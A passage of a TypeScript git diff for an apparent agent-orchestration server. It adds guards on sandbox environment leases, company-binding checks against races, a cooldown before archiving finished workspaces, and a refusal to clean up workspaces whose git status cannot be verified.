+        .from(environmentLeases)
+        .where(
+          and(
+            eq(environmentLeases.environmentId, environmentId),
+            eq(environmentLeases.status, "pending_cleanup"),
+          ),
+        );
+      return countFromRows(rows) > 0;
+    },
+
     getDeleteBlastRadius: async (id: string): Promise<EnvironmentDeleteBlastRadius | null> => {
       const environment = await db
         .select({
@@ -1115,6 +1178,8 @@ export function environmentService(db: Db) {
         projectRows,
         secretBindingRows,
         activeLeaseRows,
+        pendingCleanupLeaseRows,
+        reusableSandboxLeaseRows,
         activeSetupRows,
       ] = await Promise.all([
         db
@@ -1155,6 +1220,25 @@ export function environmentService(db: Db) {
               eq(environmentLeases.status, "active"),
             ),
           ),
+        db
+          .select({ count: sql<number>`count(*)::int` })
+          .from(environmentLeases)
+          .where(
+            and(
+              eq(environmentLeases.environmentId, id),
+              eq(environmentLeases.status, "pending_cleanup"),
+            ),
+          ),
+        db
+          .select({ count: sql<number>`count(*)::int` })
+          .from(environmentLeases)
+          .where(
+            and(
+              eq(environmentLeases.environmentId, id),
+              eq(environmentLeases.leasePolicy, "reuse_by_environment"),
+              inArray(environmentLeases.status, ["active", "released", "retained"]),
+            ),
+          ),
         db
           .select({ count: sql<number>`count(*)::int` })
           .from(environmentCustomImageSetupSessions)
@@ -1168,9 +1252,18 @@ export function environmentService(db: Db) {
 
       const isManagedLocal = environment.driver === "local";
       const isInstanceDefault = countFromRows(instanceDefaultRows) > 0;
+      const pendingCleanupLeaseCount = countFromRows(pendingCleanupLeaseRows);
+      const reusableSandboxLeaseCount = countFromRows(reusableSandboxLeaseRows);
       const deleteBlockedReasons: EnvironmentDeleteBlockedReason[] = [];
       if (isManagedLocal) deleteBlockedReasons.push("managed_local");
       if (isInstanceDefault) deleteBlockedReasons.push("instance_default");
+      // A `pending_cleanup` lease is the durable teardown reference for an orphan
+      // sandbox. The environment foreign key uses `on delete set null`, so a
+      // delete keeps the lease but drops its environment reference. Block the
+      // delete until the sweep resolves the lease, so the operator resolves the
+      // cleanup first and the lease keeps its environment link.
+      if (pendingCleanupLeaseCount > 0) deleteBlockedReasons.push("pending_sandbox_cleanup");
+      if (reusableSandboxLeaseCount > 0) deleteBlockedReasons.push("reusable_sandbox_lease");
       const activeLeaseCount = countFromRows(activeLeaseRows);
       const activeCustomImageSetupSessionCount = countFromRows(activeSetupRows);
 
@@ -1178,6 +1271,8 @@ export function environmentService(db: Db) {
         environmentId: id,
         canDelete: deleteBlockedReasons.length === 0,
         deleteBlockedReasons,
+        pendingCleanupLeaseCount,
+        reusableSandboxLeaseCount,
         staticReferences: {
           isManagedLocal,
           isInstanceDefault,
@@ -1222,32 +1317,80 @@ export function environmentService(db: Db) {
       providerLeaseId?: string | null;
       expiresAt?: Date | null;
       metadata?: Record<string, unknown> | null;
+      /**
+       * Re-check the environment company binding inside the lease insert
+       * transaction. The login routes set this to close the check-to-lease
+       * race: managed reconciliation can bind a sandbox to another company
+       * between the route guard and this acquire. When the environment is
+       * bound to a company other than `companyId`, the insert throws the 403
+       * `environment_company_mismatch` and no lease row is created (fail
+       * closed). An unbound (instance-global) environment stays open to every
+       * member. All other callers keep the plain, non-transactional insert.
+       */
+      assertCompanyBinding?: boolean;
     }): Promise<EnvironmentLease> => {
       const now = new Date();
-      const row = await db
-        .insert(environmentLeases)
-        .values({
-          companyId: input.companyId,
-          environmentId: input.environmentId,
-          executionWorkspaceId: input.executionWorkspaceId ?? null,
-          issueId: input.issueId ?? null,
-          heartbeatRunId: input.heartbeatRunId ?? null,
-          status: "active",
-          leasePolicy: input.leasePolicy ?? "ephemeral",
-          provider: input.provider ?? null,
-          providerLeaseId: input.providerLeaseId ?? null,
-          acquiredAt: now,
-          lastUsedAt: now,
-          expiresAt: input.expiresAt ?? null,
-          releasedAt: null,
-          failureReason: null,
-          cleanupStatus: null,
-          metadata: input.metadata ?? null,
-          createdAt: now,
-          updatedAt: now,
-        })
-        .returning()
-        .then((rows) => rows[0] ?? null);
+      const values = {
+        companyId: input.companyId,
+        environmentId: input.environmentId,
+        executionWorkspaceId: input.executionWorkspaceId ?? null,
+        issueId: input.issueId ?? null,
+        heartbeatRunId: input.heartbeatRunId ?? null,
+        status: "active" as const,
+        leasePolicy: input.leasePolicy ?? "ephemeral",
+        provider: input.provider ?? null,
+        providerLeaseId: input.providerLeaseId ?? null,
+        acquiredAt: now,
+        lastUsedAt: now,
+        expiresAt: input.expiresAt ?? null,
+        releasedAt: null,
+        failureReason: null,
+        cleanupStatus: null,
+        metadata: input.metadata ?? null,
+        createdAt: now,
+        updatedAt: now,
+      };
+      const row = input.assertCompanyBinding
+        ? await db.transaction(async (tx) => {
+            // Lock the environment row first. Managed reconciliation locks the
+            // same sandbox environment rows with `for update` before it writes a
+            // company binding, so this lock serializes the two transactions on
+            // this row and closes the time-of-check to time-of-use window.
+            await tx
+              .select({ id: environments.id })
+              .from(environments)
+              .where(eq(environments.id, input.environmentId))
+              .for("update");
+            // Re-read the company binding inside the locked transaction. A
+            // binding a reconciliation committed after the route guard now
+            // appears here. Reject a foreign-company environment before the
+            // insert, so the login holds no lease.
+            const boundRows = await tx
+              .select({ companyId: builtInManagedResources.companyId })
+              .from(builtInManagedResources)
+              .where(
+                and(
+                  eq(builtInManagedResources.resourceKind, MANAGED_ENVIRONMENT_RESOURCE_KIND),
+                  eq(builtInManagedResources.resourceId, input.environmentId),
+                ),
+              );
+            const boundCompanyIds = Array.from(new Set(boundRows.map((boundRow) => boundRow.companyId)));
+            if (boundCompanyIds.length > 0 && !boundCompanyIds.includes(input.companyId)) {
+              throw forbidden("The selected environment belongs to another company.", {
+                code: "environment_company_mismatch",
+              });
+            }
+            return tx
+              .insert(environmentLeases)
+              .values(values)
+              .returning()
+              .then((rows) => rows[0] ?? null);
+          })
+        : await db
+            .insert(environmentLeases)
+            .values(values)
+            .returning()
+            .then((rows) => rows[0] ?? null);
       if (!row) {
         throw new Error("Failed to acquire environment lease");
       }
@@ -1279,6 +1422,82 @@ export function environmentService(db: Db) {
       return row ? toEnvironmentLease(row) : null;
     },
 
+    /**
+     * Record a lease-less orphan sandbox directly in the terminal
+     * `pending_cleanup` state with one atomic insert. The sweep reads a row with
+     * status `pending_cleanup` and cleanup status `failed`, so this insert makes
+     * the orphan visible to recovery immediately. It never passes through the
+     * `active` state, so a process or database crash cannot strand the row in an
+     * intermediate state that no sweep finds. The insert skips the company
+     * binding assertion, so it records the orphan even for a foreign-bound
+     * environment.
+     *
+     * The insert runs in a transaction that first locks the environment row with
+     * `for update`. The delete path (`removeIfDeletable`) refuses a delete while a
+     * `pending_cleanup` lease exists, so this lock serializes the two writes:
+     *
+     * - The environment still exists: the insert records the orphan with the
+     *   environment reference. A concurrent delete blocks on the lock, then its
+     *   `not exists (pending_cleanup)` predicate fails, so the delete refuses.
+     * - The environment is already gone (a delete won the race before this
+     *   insert): the insert records the orphan with a null environment
+     *   reference. The row carries the immutable provider metadata the sweep
+     *   needs, so the teardown still runs. This closes the window the finding
+     *   describes, where the foreign-key insert fails after a delete.
+     */
+    insertPendingCleanupLease: async (input: {
+      companyId: string;
+      environmentId: string;
+      executionWorkspaceId?: string | null;
+      issueId?: string | null;
+      heartbeatRunId?: string | null;
+      provider?: string | null;
+      providerLeaseId?: string | null;
+      metadata?: Record<string, unknown> | null;
+      failureReason: string;
+    }): Promise<EnvironmentLease> => {
+      const now = new Date();
+      const row = await db.transaction(async (tx) => {
+        // Lock the environment row so a concurrent delete cannot commit between
+        // this read and the insert. An absent row means a delete already removed
+        // the environment, so record the orphan with a null reference.
+        const environmentRows = await tx
+          .select({ id: environments.id })
+          .from(environments)
+          .where(eq(environments.id, input.environmentId))
+          .for("update");
+        const environmentIdForRow = environmentRows[0]?.id ?? null;
+        return tx
+          .insert(environmentLeases)
+          .values({
+            companyId: input.companyId,
+            environmentId: environmentIdForRow,
+            executionWorkspaceId: input.executionWorkspaceId ?? null,
+            issueId: input.issueId ?? null,
+            heartbeatRunId: input.heartbeatRunId ?? null,
+            status: "pending_cleanup" as const,
+            leasePolicy: "ephemeral",
+            provider: input.provider ?? null,
+            providerLeaseId: input.providerLeaseId ?? null,
+            acquiredAt: now,
+            lastUsedAt: now,
+            expiresAt: null,
+            releasedAt: now,
+            failureReason: input.failureReason,
+            cleanupStatus: "failed",
+            metadata: input.metadata ?? null,
+            createdAt: now,
+            updatedAt: now,
+          })
+          .returning()
+          .then((rows) => rows[0] ?? null);
+      });
+      if (!row) {
+        throw new Error("Failed to record pending sandbox cleanup lease");
+      }
+      return toEnvironmentLease(row);
+    },
+
     updateLeaseMetadata: async (
       id: string,
       metadata: Record<string, unknown> | null,
diff --git a/server/src/services/execution-workspace-branch-ownership.ts b/server/src/services/execution-workspace-branch-ownership.ts
new file mode 100644
index 00000000000..8dda9c711eb
--- /dev/null
+++ b/server/src/services/execution-workspace-branch-ownership.ts
@@ -0,0 +1,14 @@
+export const GIT_BRANCH_OWNERSHIP_METADATA_VERSION = 1;
+export const GIT_BRANCH_OWNERSHIP_METADATA_KEY = "gitBranchOwnershipVersion";
+
+function hasCurrentGitBranchOwnershipMetadata(
+  metadata: Record<string, unknown> | null | undefined,
+) {
+  return metadata?.[GIT_BRANCH_OWNERSHIP_METADATA_KEY] === GIT_BRANCH_OWNERSHIP_METADATA_VERSION;
+}
+
+export function isRuntimeOwnedGitBranch(
+  metadata: Record<string, unknown> | null | undefined,
+) {
+  return hasCurrentGitBranchOwnershipMetadata(metadata) && metadata?.createdByRuntime === true;
+}
diff --git a/server/src/services/execution-workspace-policy.ts b/server/src/services/execution-workspace-policy.ts
index 1c6b3ccc93e..0205950fc18 100644
--- a/server/src/services/execution-workspace-policy.ts
+++ b/server/src/services/execution-workspace-policy.ts
@@ -40,6 +40,9 @@ function parseExecutionWorkspaceStrategy(raw: unknown): ExecutionWorkspaceStrate
     type,
     ...(typeof parsed.baseRef === "string" ? { baseRef: parsed.baseRef } : {}),
     ...(typeof parsed.branchTemplate === "string" ? { branchTemplate: parsed.branchTemplate } : {}),
+    ...(typeof parsed.existingBranch === "string" && parsed.existingBranch.trim().length > 0
+      ? { existingBranch: parsed.existingBranch.trim() }
+      : {}),
     ...(typeof parsed.worktreeParentDir === "string" ? { worktreeParentDir: parsed.worktreeParentDir } : {}),
     ...(typeof parsed.provisionCommand === "string" ? { provisionCommand: parsed.provisionCommand } : {}),
     ...(typeof parsed.runtimeProvisionCommand === "string"
diff --git a/server/src/services/execution-workspaces.ts b/server/src/services/execution-workspaces.ts
index 4e32a69a37f..b9a635346cb 100644
--- a/server/src/services/execution-workspaces.ts
+++ b/server/src/services/execution-workspaces.ts
@@ -52,7 +52,10 @@ import {
   type PullRequestMergeDetailsResolver,
 } from "./github-pull-request-merge.js";
 import { visibleIssueCondition } from "./issue-visibility.js";
+import { createGitRemoteAuthProvider } from "./git-credentials.js";
 import { readProjectWorkspaceRuntimeConfig } from "./project-workspace-runtime-config.js";
+import { workspaceGitOperationScheduler } from "./workspace-git-operation-scheduler.js";
+import { isRuntimeOwnedGitBranch } from "./execution-workspace-branch-ownership.js";
 import {
   listCurrentRuntimeServicesForExecutionWorkspaces,
   listCurrentRuntimeServicesForProjectWorkspaces,
@@ -65,6 +68,24 @@ type RuntimeServiceReadDb = Pick<Db, "select">;
 type DbTransaction = Parameters<Parameters<Db["transaction"]>[0]>[0];
 const execFileAsync = promisify(execFile);
 const TERMINAL_ISSUE_STATUSES = new Set(["done", "cancelled"]);
+
+// Return the timestamp when an issue became terminal. A `done` issue uses
+// `completedAt`. A `cancelled` issue uses `cancelledAt`. The reaper cooldown
+// measures the age of the terminal transition from this timestamp. Fall back to
+// `updatedAt` when the terminal timestamp is null, so an old issue that lacks a
+// recorded transition time still gates the cooldown. Return null for a
+// non-terminal issue.
+function issueTerminalTimestamp(issue: {
+  status: string;
+  completedAt: Date | null;
+  cancelledAt: Date | null;
+  updatedAt: Date;
+}): Date | null {
+  if (issue.status === "done") return issue.completedAt ?? issue.updatedAt;
+  if (issue.status === "cancelled") return issue.cancelledAt ?? issue.updatedAt;
+  return null;
+}
+
 const WORKSPACE_BRANCH_INCOHERENCE_REASON = "git_worktree_branch_incoherence";
 const WORKSPACE_VALIDATION_RECOVERY_CAUSE = "workspace_validation_failed";
 export const ISSUE_TERMINAL_WORKSPACE_CLEANUP_REASON = "issue_terminal";
@@ -206,6 +227,10 @@ export type ExecutionWorkspaceServiceOptions = {
   resolvePullRequestDetails?: PullRequestMergeDetailsResolver;
   now?: () => Date;
   beforeTerminalWorkspaceCleanup?: (workspace: ExecutionWorkspaceRow) => Promise<void>;
+  // The terminal-workspace reaper waits this many days after an issue tree
+  // becomes terminal before it archives the workspace. A value of 0 disables
+  // the cooldown. The default is 7 days.
+  workspaceReaperCooldownDays?: number;
 };
 
 function parseGitHubRepository(repoUrl: string | null) {
@@ -373,6 +398,21 @@ async function runGit(args: string[], cwd: string) {
   return await execFileAsync("git", ["-C", cwd, ...args], { cwd });
 }
 
+async function runExpensiveGitStatus(input: {
+  args: readonly string[];
+  cwd: string;
+  operation: string;
+  fairnessKeys?: readonly string[];
+}) {
+  return workspaceGitOperationScheduler.run({
+    workspacePath: input.cwd,
+    args: input.args,
+    operation: input.operation,
+    fairnessKeys: input.fairnessKeys,
+    cacheTtlMs: 0,
+  });
+}
+
 async function readGitStdout(args: string[], cwd: string): Promise<string | null> {
   const output = await runGit(args, cwd);
   return output.stdout.trim() || null;
@@ -501,7 +541,15 @@ async function inspectExecutionWorkspaceBranchForReconcile(
     throw unprocessable("Execution workspace is detached; Paperclip cannot reconcile it to a branch name");
   }
 
-  const status = await runGit(["status", "--porcelain", "--untracked-files=all"], worktreePath)
+  const status = await runExpensiveGitStatus({
+    args: ["status", "--porcelain", "--untracked-files=all"],
+    cwd: worktreePath,
+    operation: "execution_workspaces.branch_reconcile_status",
+    fairnessKeys: [
+      `workspace:${workspace.id}`,
+      ...(workspace.sourceIssueId ? [`issue:${workspace.sourceIssueId}`] : []),
+    ],
+  })
     .then((output) => output.stdout)
     .catch(() => null);
   const statusLines = status === null
@@ -738,21 +786,24 @@ async function quarantineRestoreDirtyWorkspaceBranch(input: {
 async function inspectGitCloseReadiness(workspace: ExecutionWorkspace): Promise<{
   git: ExecutionWorkspaceCloseGitReadiness | null;
   warnings: string[];
+  statusInspectionSucceeded: boolean;
 }> {
   const warnings: string[] = [];
   const workspacePath = readNullableString(workspace.providerRef) ?? readNullableString(workspace.cwd);
-  const createdByRuntime = workspace.metadata?.createdByRuntime === true;
+  const createdByRuntime = workspace.providerType === "git_worktree"
+    ? isRuntimeOwnedGitBranch(workspace.metadata)
+    : workspace.metadata?.createdByRuntime === true;
   const expectsGitInspection =
     workspace.providerType === "git_worktree" ||
     Boolean(workspace.repoUrl || workspace.baseRef || workspace.branchName || workspacePath);
 
   if (!expectsGitInspection) {
-    return { git: null, warnings };
+    return { git: null, warnings, statusInspectionSucceeded: true };
   }
 
   if (!workspacePath) {
     warnings.push("Workspace has no local path, so Paperclip cannot inspect git status before close.");
-    return { git: null, warnings };
+    return { git: null, warnings, statusInspectionSucceeded: false };
   }
 
   if (!(await pathExists(workspacePath))) {
@@ -773,6 +824,7 @@ async function inspectGitCloseReadiness(workspace: ExecutionWorkspace): Promise<
         createdByRuntime,
       },
       warnings,
+      statusInspectionSucceeded: true,
     };
   }
 
@@ -796,9 +848,19 @@ async function inspectGitCloseReadiness(workspace: ExecutionWorkspace): Promise<
 
   let dirtyEntryCount = 0;
   let untrackedEntryCount = 0;
+  let statusInspectionSucceeded = false;
   if (repoRoot) {
     try {
-      const statusOutput = (await runGit(["status", "--porcelain=v1", "--untracked-files=all"], workspacePath)).stdout;
+      const statusOutput = (await runExpensiveGitStatus({
+        args: ["status", "--porcelain=v1", "--untracked-files=all"],
+        cwd: workspacePath,
+        operation: "execution_workspaces.close_readiness_status",
+        fairnessKeys: [
+          `company:${workspace.companyId}`,
+          `workspace:${workspace.id}`,
+          ...(workspace.sourceIssueId ? [`issue:${workspace.sourceIssueId}`] : []),
+        ],
+      })).stdout;
       for (const line of statusOutput.split(/\r?\n/)) {
         if (!line) continue;
         if (line.startsWith("??")) {
@@ -807,6 +869,7 @@ async function inspectGitCloseReadiness(workspace: ExecutionWorkspace): Promise<
         }
         dirtyEntryCount += 1;
       }
+      statusInspectionSucceeded = true;
     } catch (error) {
       warnings.push(
         `Could not read git working tree status for "${workspacePath}": ${error instanceof Error ? error.message : String(error)}`,
@@ -861,6 +924,7 @@ async function inspectGitCloseReadiness(workspace: ExecutionWorkspace): Promise<
       createdByRuntime,
     },
     warnings,
+    statusInspectionSucceeded,
   };
 }
 
@@ -980,6 +1044,7 @@ function toRuntimeService(
     stoppedAt: row.stoppedAt ?? null,
     stopPolicy: (row.stopPolicy as Record<string, unknown> | null) ?? null,
     healthStatus: row.healthStatus as WorkspaceRuntimeService["healthStatus"],
+    exposure: (row.exposure as WorkspaceRuntimeService["exposure"]) ?? null,
     configIndex: row.configIndex ?? null,
     createdAt: row.createdAt,
     updatedAt: row.updatedAt,
@@ -1058,6 +1123,7 @@ function toWorkspaceOverviewPrimaryService(
     url: service.url,
     port: service.port,
     healthStatus: service.healthStatus,
+    exposure: service.exposure ?? null,
     updatedAt: service.updatedAt,
   };
 }
@@ -1189,6 +1255,14 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
   const recoveryActionsSvc = issueRecoveryActionService(db);
   const resolvePullRequestDetails = opts.resolvePullRequestDetails ?? createPullRequestMergeDetailsResolver(db);
   const now = opts.now ?? (() => new Date());
+  // The reaper waits this long after an issue tree becomes terminal before it
+  // archives the workspace. A value of 0 disables the cooldown, so the reaper
+  // archives a terminal workspace on the same sweep. A negative value also
+  // disables the cooldown.
+  const workspaceReaperCooldownMs = Math.max(
+    0,
+    (opts.workspaceReaperCooldownDays ?? 7) * 24 * 60 * 60 * 1000,
+  );
   const pullRequestStateCache = new Map<
     string,
     {
@@ -1227,6 +1301,9 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
       .select({
         id: issues.id,
         status: issues.status,
+        completedAt: issues.completedAt,
+        cancelledAt: issues.cancelledAt,
+        updatedAt: issues.updatedAt,
       })
       .from(issues)
       .where(and(
@@ -1282,6 +1359,17 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
     const sourceIssue = issueTree.find((issue) => issue.id === workspace.sourceIssueId) ?? null;
     const sourceIssueTerminal = Boolean(sourceIssue && TERMINAL_ISSUE_STATUSES.has(sourceIssue.status));
     const subtreeTerminal = Boolean(sourceIssue && issueTree.every((issue) => TERMINAL_ISSUE_STATUSES.has(issue.status)));
+    // The cooldown anchor is the most recent terminal timestamp across the whole
+    // issue tree. The reaper compares it against the cooldown window. A null
+    // anchor means no issue in the tree is terminal yet, so the cooldown never
+    // applies (the terminal-tree gates above already block the archive).
+    let cooldownAnchor: Date | null = null;
+    for (const issue of issueTree) {
+      const terminalAt = issueTerminalTimestamp(issue);
+      if (terminalAt && (!cooldownAnchor || terminalAt.getTime() > cooldownAnchor.getTime())) {
+        cooldownAnchor = terminalAt;
+      }
+    }
     let mergedPullRequest = false;
     let pullRequestStateUnknown = false;
     const workspaceHeadSha = git?.repoRoot && git.workspacePath
@@ -1345,6 +1433,7 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
       }),
       sourceIssueTerminal,
       subtreeTerminal,
+      cooldownAnchor,
       workspaceDirty: Boolean(git?.hasDirtyTrackedFiles || git?.hasUntrackedFiles),
       workspaceHeadSha,
     };
@@ -1365,6 +1454,9 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
       readGitStdout(["rev-parse", "HEAD"], workspacePath).catch(() => null),
       readGitStdout(["symbolic-ref", "--quiet", "--short", "HEAD"], workspacePath).catch(() => null),
     ]);
+    if (!current.statusInspectionSucceeded) {
+      throw new Error("Refusing terminal workspace cleanup because the git status could not be verified");
+    }
     if (
       !current.git?.repoRoot
       || current.git.hasDirtyTrackedFiles
@@ -2129,6 +2221,13 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
         .where(eq(executionWorkspaces.id, id))
         .then((rows) => rows[0] ?? null);
       if (!row) return null;
+      const { refreshPersistedRuntimeServiceHealth } = await import("./workspace-runtime.js");
+      await refreshPersistedRuntimeServiceHealth({
+        db,
+        companyId: row.companyId,
+        executionWorkspaceId: row.id,
+        projectWorkspaceId: row.projectWorkspaceId,
+      });
       const runtimeServicesByWorkspaceId = await loadEffectiveRuntimeServicesByExecutionWorkspace(db, row.companyId, [row]);
       return hydrateWorkspace(
         row,
@@ -2203,10 +2302,17 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
 
       const executionWorkspace = toExecutionWorkspace(workspace, runtimeServices);
       const config = readExecutionWorkspaceConfig((workspace.metadata as Record<string, unknown> | null) ?? null);
-      const { git, warnings: gitWarnings } = await inspectGitCloseReadiness(executionWorkspace);
+      const {
+        git,
+        warnings: gitWarnings,
+        statusInspectionSucceeded,
+      } = await inspectGitCloseReadiness(executionWorkspace);
       const { deliveryState } = await assessDelivery(workspace, git);
       const warnings = [...gitWarnings];
       const blockingReasons: string[] = [];
+      if (!statusInspectionSucceeded) {
+        blockingReasons.push("Paperclip could not verify the workspace git status. Retry before destructive cleanup.");
+      }
       const isSharedWorkspace = executionWorkspace.mode === "shared_workspace";
       const workspacePath = readNullableString(executionWorkspace.providerRef) ?? readNullableString(executionWorkspace.cwd);
       const resolvedWorkspacePath = workspacePath ? path.resolve(workspacePath) : null;
@@ -2409,6 +2515,7 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
           skippedUndelivered: 0,
           skippedRace: 0,
           skippedReopened: 0,
+          skippedCooldown: 0,
           clearedStaleReopenPending: 0,
         };
       }
@@ -2472,12 +2579,17 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
         skippedUndelivered: 0,
         skippedRace: 0,
         skippedReopened: 0,
+        skippedCooldown: 0,
         clearedStaleReopenPending: 0,
       };
 
       for (const workspace of candidates) {
         const executionWorkspace = toExecutionWorkspace(workspace);
-        const { git } = await inspectGitCloseReadiness(executionWorkspace);
+        const { git, statusInspectionSucceeded } = await inspectGitCloseReadiness(executionWorkspace);
+        if (!statusInspectionSucceeded) {
+          result.skippedUndelivered += 1;
+          continue;
+        }
         const assessment = await assessDelivery(workspace, git);
         const reopenPending = metadataHasReopenPendingConsumption(
           workspace.metadata as Record<string, unknown> | null,
@@ -2509,6 +2621,23 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
           result.skippedUndelivered += 1;
           continue;
         }
+        // Hold the archive during the cooldown window. The anchor is the most
+        // recent terminal timestamp across the issue tree. A person can reopen
+        // the work inside this window. A cooldown of 0 disables the check, so the
+        // reaper archives the workspace on the same sweep. The archive statement
+        // below re-checks the same cutoff under the lifecycle lock, so the loop
+        // check and the guarded statement agree.
+        const cooldownCutoff = workspaceReaperCooldownMs > 0
+          ? new Date(now().getTime() - workspaceReaperCooldownMs)
+          : null;
+        if (
+          cooldownCutoff
+          && assessment.cooldownAnchor
+          && assessment.cooldownAnchor.getTime() > cooldownCutoff.getTime()
+        ) {
+          result.skippedCooldown += 1;
+          continue;
+        }
         if (reopenPending) {
           const pendingSince = readMetadataReopenPendingConsumptionSince(
             workspace.metadata as Record<string, unknown> | null,
@@ -2634,6 +2763,34 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
                 )
                 SELECT 1 FROM issue_tree WHERE status NOT IN ('done', 'cancelled')
               )`,
+              // Re-check the cooldown under the lifecycle lock. This predicate
+              // matches the loop check above: block the archive when any issue in
+              // the tree became terminal after the cutoff. The tree walk mirrors
+              // the terminal-tree walk above. A null cutoff means the cooldown is
+              // disabled, so this predicate drops out of the guard.
+              cooldownCutoff
+                ? sql<boolean>`NOT EXISTS (
+                WITH RECURSIVE cooldown_tree(id, status, completed_at, cancelled_at, updated_at) AS (
+                  SELECT root.id, root.status, root.completed_at, root.cancelled_at, root.updated_at
+                  FROM ${issues} root
+                  WHERE root.company_id = ${workspace.companyId}
+                    AND root.id = ${workspace.sourceIssueId}
+                  UNION ALL
+                  SELECT child.id, child.status, child.completed_at, child.cancelled_at, child.updated_at
+                  FROM ${issues} child
+                  JOIN cooldown_tree parent ON child.parent_id = parent.id
+                  WHERE child.company_id = ${workspace.companyId}
+                )
+                SELECT 1 FROM cooldown_tree
+                WHERE COALESCE(
+                  CASE
+                    WHEN status = 'done' THEN completed_at
+                    WHEN status = 'cancelled' THEN cancelled_at
+                  END,
+                  updated_at
+                ) > ${cooldownCutoff.toISOString()}::timestamptz
+              )`
+                : undefined,
             ))
             .returning()
             .then((rows) => rows[0] ?? null);
@@ -2764,11 +2921,17 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
           };
         }
 
-        const [{ ensurePersistedExecutionWorkspaceAvailable }, { workspaceOperationService }] =
-          await Promise.all([
-            import("./workspace-runtime.js"),
-            import("./workspace-operations.js"),
-          ]);
+        const [
+          { ensurePersistedExecutionWorkspaceAvailable },
+          { workspaceOperationService },
+          { ensureManagedProjectWorkspace },
+        ] = await Promise.all([
+          import("./workspace-runtime.js"),
+          import("./workspace-operations.js"),
+          // heartbeat.js imports this module, so a static import creates a
+          // cycle. Load ensureManagedProjectWorkspace dynamically instead.
+          import("./heartbeat.js"),
+        ]);
         const [projectWorkspace, projectPolicy] = await Promise.all([
           row.projectWorkspaceId
             ? db
@@ -2786,6 +2949,25 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
             .where(and(eq(projects.companyId, row.companyId), eq(projects.id, row.projectId)))
             .then((rows) => parseProjectExecutionWorkspacePolicy(rows[0]?.executionWorkspacePolicy)),
         ]);
+        // Resolve the base checkout that the rebuild spawns git in. A
+        // local-folder project stores its base path in projectWorkspaces.cwd.
+        // A managed_checkout project stores null there, so resolve its live
+        // managed checkout instead. Never use row.cwd for a git_worktree
+        // rebuild: row.cwd is the archived worktree path, which the reaper
+        // already removed from disk. A spawn in that missing directory fails
+        // with "spawn git ENOENT" and hides the real cause.
+        let resolvedBaseCwd = projectWorkspace?.cwd ?? null;
+        if (resolvedBaseCwd == null && row.strategyType === "git_worktree" && row.projectId) {
+          const managedWorkspace = await ensureManagedProjectWorkspace({
+            companyId: row.companyId,
+            projectId: row.projectId,
+            repoUrl: row.repoUrl,
+            resolveGitAuth: createGitRemoteAuthProvider(db, row.companyId, {
+              issueId: row.sourceIssueId ?? issue.id,
+            }),
+          });
+          resolvedBaseCwd = managedWorkspace.cwd;
+        }
         const config = readExecutionWorkspaceConfig(row.metadata as Record<string, unknown> | null);
         const nextGeneration = readExecutionWorkspaceLifecycleGeneration(
           row.metadata as Record<string, unknown> | null,
@@ -2803,7 +2985,7 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
           const realized = await ensurePersistedExecutionWorkspaceAvailable({
             db: tx as unknown as Db,
             base: {
-              baseCwd: projectWorkspace?.cwd ?? row.cwd ?? "",
+              baseCwd: resolvedBaseCwd ?? row.cwd ?? "",
               source: "task_session",
               projectId: row.projectId,
               workspaceId: row.projectWorkspaceId,
diff --git a/server/src/services/heartbeat-policy.ts b/server/src/services/heartbeat-policy.ts
new file mode 100644
index 00000000000..342adc9e24d
--- /dev/null
+++ b/server/src/services/heartbeat-policy.ts
@@ -0,0 +1,16 @@
+import { agents } from "@paperclipai/db";
+import { asBoolean, parseObject } from "../adapters/utils.js";
+
+export function isHeartbeatWakeOnDemandEnabled(
+  agent: Pick<typeof agents.$inferSelect, "runtimeConfig">,
+) {
+  const runtimeConfig = parseObject(agent.runtimeConfig);
+  const heartbeat = parseObject(runtimeConfig.heartbeat);
+  return asBoolean(
+    heartbeat.wakeOnDemand ??
+      heartbeat.wakeOnAssignment ??
+      heartbeat.wakeOnOnDemand ??
+      heartbeat.wakeOnAutomation,
+    true,
+  );
+}
diff --git a/server/src/services/heartbeat-run-runtime-status.test.ts b/server/src/services/heartbeat-run-runtime-status.test.ts
index f603900127c..80984155eea 100644
--- a/server/src/services/heartbeat-run-runtime-status.test.ts
+++ b/server/src/services/heartbeat-run-runtime-status.test.ts
@@ -64,7 +64,7 @@ describe("heartbeat run runtime status store", () => {
       agentId: "agent-1",
       runId: "run-1",
       phase: "finalize",
-      message: "Finalizing sandbox workspace",
+      message: "Finalizing workspace",
     });
 
     expect(clearHeartbeatRunRuntimeStatus("run-1")).toBe(true);
diff --git a/server/src/services/heartbeat.ts b/server/src/services/heartbeat.ts
index a63d4356018..dd8ba788f37 100644
--- a/server/src/services/heartbeat.ts
+++ b/server/src/services/heartbeat.ts
@@ -8,6 +8,7 @@ import type { Db } from "@paperclipai/db";
 import {
   AGENT_DEFAULT_MAX_CONCURRENT_RUNS,
   ISSUE_CONTINUATION_SUMMARY_DOCUMENT_KEY,
+  ISSUE_DISPOSITION_REPAIR_RETRY_REASON,
   MODEL_PROFILE_KEYS,
   PROVIDER_QUOTA_MONITOR_SERVICE_NAME,
   envBindingSchema,
@@ -44,6 +45,7 @@ import {
   documentAnnotationComments,
   documentAnnotationThreads,
   documentRevisions,
+  environmentLeases,
   issueDocuments,
   executionWorkspaces,
   heartbeatRunEvents,
@@ -140,9 +142,11 @@ import {
   persistAdapterManagedRuntimeServices,
   realizeExecutionWorkspace,
   releaseRuntimeServicesForRun,
+  isUnresolvedWorkspaceBaseRefError,
   type ExecutionWorkspaceInput,
   type RealizedExecutionWorkspace,
   type RuntimeServiceRef,
+  type UnresolvedWorkspaceBaseRefError,
   sanitizeRuntimeServiceBaseEnv,
 } from "./workspace-runtime.js";
 import {
@@ -174,6 +178,11 @@ import {
